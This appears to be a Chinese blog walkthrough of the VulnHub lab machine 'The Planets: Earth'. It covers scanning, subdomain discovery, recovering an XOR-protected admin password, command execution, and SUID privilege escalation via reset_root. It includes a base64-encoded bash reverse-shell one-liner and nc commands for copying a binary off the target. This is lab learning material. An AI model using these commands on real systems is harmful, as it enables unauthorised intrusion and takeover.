The_Planets:Earth
- 上个礼拜打了ciscn的半决赛,混了一个国三,和奖金擦肩而过,唉~~。比赛的流程也从原来的纯awdp到上午awdp下午渗透赛了,学了这么久才发现一次靶机都没打过,导致渗透测试直接傻眼了,搞了半天都没搞出来,现在在vulnhub上面好好学习恶补一下
The Planet:Earth
- 访问靶场,看见404
{:height 433, :width 705}
- 吓得我直接去官网看了一眼,说就是这个页面,才放心的继续渗透。
- 先用nmap扫一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41nmap -sV -sC -p- 192.168.56.135
(test) ┌──(root㉿kali)-[/home/kali]
└─# nmap -sV -sC -p- 192.168.56.135
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 14:56 CST
Stats: 0:00:36 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 20.70% done; ETC: 14:59 (0:02:18 remaining)
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 37.10% done; ETC: 14:59 (0:01:43 remaining)
Stats: 0:01:33 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 59.49% done; ETC: 14:59 (0:01:03 remaining)
Stats: 0:02:20 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 95.86% done; ETC: 14:59 (0:00:06 remaining)
Stats: 0:02:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 95.83% done; ETC: 14:59 (0:00:00 remaining)
Nmap scan report for earth.local (192.168.56.135)
Host is up (0.00067s latency).
Not shown: 65381 filtered tcp ports (no-response), 151 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_ 256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_http-title: Earth Secure Messaging
443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_http-title: Earth Secure Messaging
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Not valid before: 2021-10-12T23:26:31
|_Not valid after: 2031-10-10T23:26:31
MAC Address: 00:0C:29:37:0C:F8 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.84 seconds- 有一个web服务,一个ssh服务和一个443服务,暂时不知道有什么用,再扫一下目录
- 443服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41dirsearch -u http://192.168.56.135
(test) ┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.56.135
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_192.168.56.135/_25-03-22_14-54-00.txt
Target: http://192.168.56.135/
[14:54:00] Starting:
[14:54:24] 403 - 199B - /cgi-bin/
[14:54:24] 404 - 196B - /cgi-bin/a1stats/a1disp.cgi
[14:54:24] 404 - 196B - /cgi-bin/awstats.pl
[14:54:24] 404 - 196B - /cgi-bin/awstats/
[14:54:24] 404 - 196B - /cgi-bin/htimage.exe?2,2
[14:54:24] 404 - 196B - /cgi-bin/htmlscript
[14:54:24] 404 - 196B - /cgi-bin/imagemap.exe?2,2
[14:54:24] 404 - 196B - /cgi-bin/index.html
[14:54:24] 404 - 196B - /cgi-bin/login
[14:54:24] 404 - 196B - /cgi-bin/login.cgi
[14:54:24] 404 - 196B - /cgi-bin/login.php
[14:54:24] 404 - 196B - /cgi-bin/mt-xmlrpc.cgi
[14:54:24] 404 - 196B - /cgi-bin/mt.cgi
[14:54:24] 404 - 196B - /cgi-bin/mt/mt-xmlrpc.cgi
[14:54:24] 404 - 196B - /cgi-bin/mt/mt.cgi
[14:54:24] 404 - 196B - /cgi-bin/php.ini
[14:54:24] 404 - 196B - /cgi-bin/printenv
[14:54:24] 404 - 196B - /cgi-bin/mt7/mt.cgi
[14:54:24] 404 - 196B - /cgi-bin/mt7/mt-xmlrpc.cgi
[14:54:24] 404 - 196B - /cgi-bin/printenv.pl
[14:54:24] 404 - 196B - /cgi-bin/test-cgi
[14:54:24] 404 - 196B - /cgi-bin/ViewLog.asp
[14:54:24] 404 - 196B - /cgi-bin/test.cgi
[14:54:52] 404 - 196B - /static/api/swagger.json
[14:54:52] 404 - 196B - /static/api/swagger.yaml
[14:54:52] 404 - 196B - /static/dump.sql- 好家伙,目录也啥都扫不出来,然后就回头看了一下nmap的结果,发现有一个很重要的点,
1
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
- 这句话的意思,简单来说,就是修改一下/etc/hosts文件,把ip地址解析成这两个DNS,那就来试一下
- 第一个是一个留言板,暂时先放一边,(其实我一开始是以为有xss的,所以下面的数据多了三个短的),看一下第二个页面,说测试网站,啥都没有,不信,扫一下目录
- 扫到一个robots.txt,大部分都是正常的后缀名,最后一个不太正常,就看一眼
- id:: 67de6174-b1d4-4bd7-82e9-0e2abb8603d9
1
2
3
4
5
6
7
8
9测试安全信息传送系统注意事项:
*使用 XOR 加密算法,与 RSA 算法一样安全。
*地球已确认收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
待办事项
*如何安全地向地球发送每月密钥?还是每周更换一次密钥?
*需要测试不同的密钥长度,以防止暴力破解。密钥应该有多长?
*需要改进信息传送界面和管理面板的界面,目前的界面非常简陋。 - 大概知道了,前面的那三行数据应该就是xor加密过后的结果,还有一个testdata.txt用来作为密钥测试数据
- 不太明白terra作为登陆用户是什么意思,毕竟没有看到任何一个登陆的页面,那就扫一下第一个页面吧。
- 扫到一个登陆界面,用户名就是terra,密码我们来测试一下
- 解码出来就是earthclimatechangebad4humans,然后就可以登陆,执行命令
- 众所周知,网站的执行命令的权限应该是很低的,所以就需要反弹shell,提权.
1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyOS81NTY2IDA+JjEK | base64 -d | bash
- 查看权限,
- 反正几乎是啥都干不了,那就提权
- 提权是真不太会,只能看大佬的wp,suid提权
1
find / -user root -perm /4000 2>/dev/null
- 看到有一个/usr/bin/reset_root 执行一下
- 看到执行失败,又不会了,看佬怎么说
- 说是执行可以把root的密码重置成Earth
- 那就查看一下这个文件具体的流程,但是靶机上面没有ltrace,那就nc传回kali
- kali上
1
nc -lvvp 5566 > reset_root
- 靶机上
1
nc 192.168.56.129 5566 < /usr/bin/reset_root
- 这样就把文件传回本地
1
2
3
4
5
6
7
8
9
10
11
12
13
14chmod +x reset_root
ltrac ./reset_root
(base) ┌──(root㉿kali)-[/home/kali/Downloads]
└─# ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
) = 38
access("/dev/shm/kHgTFI5G", 0) = -1
access("/dev/shm/Zw7bV9U5", 0) = -1
access("/tmp/kcM0Wewe", 0) = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
+++ exited (status 0) +++- 代表着这三个文件没有被找到,那就在靶机上自己创建
1
2
3touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe- 然后再执行
- 可以看到,root密码已经被修改,接下来登陆就可以了
- 不得不说,还得是国外的这个flag的创意棒啊~~
The_Planets:Earth
http://st3r665.github.io/2025/03/22/The-Planets-Earth/